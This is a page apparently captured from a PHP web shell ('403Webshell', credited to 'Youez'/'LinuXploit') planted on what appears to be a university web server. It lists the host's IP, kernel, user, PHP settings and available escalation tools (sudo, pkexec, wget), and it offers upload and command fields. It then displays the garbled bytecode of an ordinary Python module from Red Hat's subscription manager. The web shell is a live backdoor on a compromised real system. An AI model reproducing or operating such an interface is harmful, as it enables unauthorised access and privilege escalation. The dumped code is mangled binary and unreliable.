403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/rhsm/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/rhsm/__pycache__/pathtree.cpython-36.pyc
3

a�e�1�@s`ddlmZmZmZddlZddlZddlZddlmZddl	m
Z
dZdZGdd�de
�ZdS)	�)�print_function�division�absolute_importN)�GhettoBitStream)�HuffmanNodezPATH ENDZlistingc@szeZdZdZdd�Zdd�Zdd�Zdd	d
�Zedd��Z	e
d
d��Ze
dd��Zedd��Z
e
dd��Zedd��ZdS)�PathTreeat
    This builds and makes available a tree that represents matchable paths. A
    path must be matched starting from its root and the root of the tree,
    matching one segment at a time.

    There are three trees involved in the process, and that can get confusing.

    1)  Word Tree: This is a Huffman tree made from the word list provided at
        the beginning of the data stream.
    2)  Huffman Path Tree: This is a Huffman tree made of nodes whose values
        will become nodes in the Path Tree. This tree exists so there can be
        a Huffman code associated with each node in the Path Tree. However,
        the Path Tree itself will arrange this data much differently.
    3)  Path Tree: This is the tree used to match paths. Each node is a
        dict where keys are path segments (the middle part of /.../) and each
        value is a list of other nodes.
    cCsn|j|�\}}tj|�tdd�|D��}t|�}|j|�}tj|�tdd�|D��}|j||||�|_dS)a�
        Uncompresses data into a tree that can be traversed for matching paths

        :param data:    binary data as read from a file or pulled directly out
                        of a certificate extension. Data should be compressed
                        with huffman coding as described for v3 entitlement
                        certificates
        :type  data:    binary string
        css|]}|j|jfVqdS)N)�code�value)�.0�node�r� /usr/lib64/python3.6/pathtree.py�	<genexpr>>sz$PathTree.__init__.<locals>.<genexpr>css|]}|j|fVqdS)N)r)r
rrrr
rBsN)�_unpack_datarZ
build_tree�dictr�_generate_path_leaves�_generate_path_tree�	path_tree)�self�dataZword_leavesZunused_bits�	word_dict�	bitstream�path_leaves�	path_dictrrr
�__init__2s



zPathTree.__init__cCs,|jd�std��|j|j|jd�jd��S)a
        Given an absolute path, determines if the path tree contains any
        complete paths that exactly equal the beginning of this path. Thus,
        The tree is traversed from its root, and as long as the provided path
        does not hit its end before hitting the end of a tree path, this will
        return True.

        :param path:    absolute path to match against the tree
        :type  path:    str
        :return:        True iff there is a match, else False
        :rtype:         bool
        �/zpath must start with "/")�
startswith�
ValueError�_traverse_treer�strip�split)r�pathrrr
�
match_pathFs
zPathTree.match_pathcCsg}|j|�djt|��S)N�
)�build_path_list�join�sorted)r�pathsrrr
�__str__Ws
zPathTree.__str__NcCs�|dkrd}|dkr|j}t|t�r*|g}xP|D]H}xBtj|�D]4\}}|tkr\|j|�q@|j||d||fd�q@Wq0WdS)a�
        Expand the Huffman tree into a list of paths.

        :param tree:      A dict representing a node in the greater path tree.
        :type  tree:      dict
        :param acc:       an accumulator that stores the expanded paths. Callers should provide an empty list.
        :type  acc:       list
        :param curr_path: A string representing a path that is added to as nodes are visited.
        :type  curr_path: str
        N�z%s/%s)�tree�	curr_path)r�
isinstancer�sixZ	iteritems�PATH_END�appendr$)rZaccr*r+Zbranch�k�vrrr
r$\s

zPathTree.build_path_listcCs�t|krdS|r�g}|d|kr.|j|d�|dtkrJt|�dkrJdSx(t|j��D]}|jd�rX|j|�qXWx6|D].}x(||D]}|j||dd��r�dSq�WqzWdS)a
        Helper method for match_path that does recursive matching.

        :param tree:    A dict representing a node in the greater path tree.
        :type  tree:    dict
        :param words:   list of words to match, the result of spliting a path
                        by the "/" separator. Words must be sorted with the
                        next word to match being at words[0]
        :param words:   list
        :return:        True iff there is a match, else False
        :rtype:         bool
        Tr��$NF)r.r/�LISTING�len�list�keysrr)�clsr*�wordsZwords_to_try�wordZchildrrr
rvs 

zPathTree._traverse_treecCsVtj�}|j|�}|jd�}dd�|D�}tttjd�|��}dd�|D�}||jfS)aD
        :param data:    binary data as read from a file or pulled directly out
                        of a certificate extension. Data should be compressed
                        with huffman coding as described for v3 entitlement
                        certificates
        :type  data:    binary string
        :return:        tuple: (list of HuffmanNode instances not yet in a
                        tree, binary string of leftover bits that were not
                        part of the zlib-compressed word list
        :rtype:         tuple(list, binary string)
        �cSsg|]}|jd��qS)zutf-8)�decode)r
r:rrr
�
<listcomp>�sz)PathTree._unpack_data.<locals>.<listcomp>r2cSsg|]\}}t||��qSr)r)r
�weightr	rrr
r=�s)	�zlibZ
decompressobj�
decompressr r6�zip�	itertools�countZunused_data)rr@Zdecompressed_datar9Zweighted_words�nodesrrr
r�s


zPathTree._unpack_datacsD�j�}|dkr|S|d}�fdd�t|�D�}�j|�}|SdS)a�
        Determine the total number of nodes in the uncompressed tree. The
        algorithm for doing so is described in the v3 entitlement cert
        format documentation.

        :param bitstream:   the full bit stream following the zlib-compressed
                            word list. As defined in the v3 entitlement cert
                            format, the beginning of this stream defines how
                            many total nodes exist. This method retrieves that
                            value.
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            number of nodes
        :rtype:             int
        �csg|]}�j��qSr)�pop_byte)r
�x)rrr
r=�sz,PathTree._get_node_count.<locals>.<listcomp>N)rF�rangeZ
combine_bytes)rZ
first_byteZ	num_bytesZcount_bytes�
node_countr)rr
�_get_node_count�s
zPathTree._get_node_countcCs:|j|�}g}x&td|�D]}t|i�}|j|�qW|S)a*
        Given the remaining bits after decompressing the word list, this
        generates HuffmanNode objects to represent each node (besides root)
        that will end up in the path tree.

        :param bitstream:   stream of bits remaining after decompressing the
                            word list
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            list of HuffmanNode objects that can be used to
                            build a path tree
        :rtype:             list of HuffmanNode objects
        r2)rJrHrr/)r8rrIrDr>rrrr
r�s

zPathTree._generate_path_leavescCs.d}x$|D]}||7}||kr
||Sq
WdS)aU
        Given a bit stream and dictionary where keys are huffman codes, return
        the value from that dictionary that corresponds to the next huffman
        code in the stream. This is a substitute for actually traversing the
        tree, and this likely performs better in large data sets.

        :param code_dict:   any dictionary where keys are huffman codes
        :type  code_dict:   dict
        :param bitstream:   bit stream with a huffman code as the next value
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        :return:            value from the dict
        r)Nr)Z	code_dictrr�bitrrr
�_get_leaf_from_dict�s

zPathTree._get_leaf_from_dictc
Cs�dd�|D�}i}|jd|�xD|D]<}x6|j||�}|s<P|j||�}	|j|g�j|	j�q*Wq$Wx|D]}|sjd|t<qjW|S)a�
        Once huffman trees have been generated for the words and for the path
        nodes, this method uses them and the bit stream to create the path tree
        that can be traversed to match potentially authorized paths.

        :param path_dict:   dictionary where keys are huffman codes and values
                            are path nodes.
        :type  path_dict:   dict
        :param path_leaves: leaf nodes from the huffman tree of path nodes. the
                            values will be constructed into a new tree that can
                            be traversed to match actual paths.
        :type  path_leaves: list of HuffmanNode instances
        :param word_dict:   dict where keys are huffman codes and values are
                            words from the zlib-compressed word list.
        :type  word_dict:   dict
        :param bitstream:   bit stream where the rest of the bits describe
                            how to use words as references between nodes in
                            the path tree. This format is described in detail
                            in the v3 entitlement certificate docs.
        :type  bitstream:   rhsm.bitstream.GhettoBitStream
        cSsg|]
}|j�qSr)r	)r
Zleafrrr
r=sz0PathTree._generate_path_tree.<locals>.<listcomp>rN)�insertrL�
setdefaultr/r	r.)
r8rrrr�values�rootr	r:Z	path_noderrr
rs

zPathTree._generate_path_tree)NN)�__name__�
__module__�__qualname__�__doc__rr"r(r$�classmethodr�staticmethodrrJrrLrrrrr
rs
&r)Z
__future__rrrrBr?r-Zrhsm.bitstreamrZrhsm.huffmanrr.r4�objectrrrrr
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit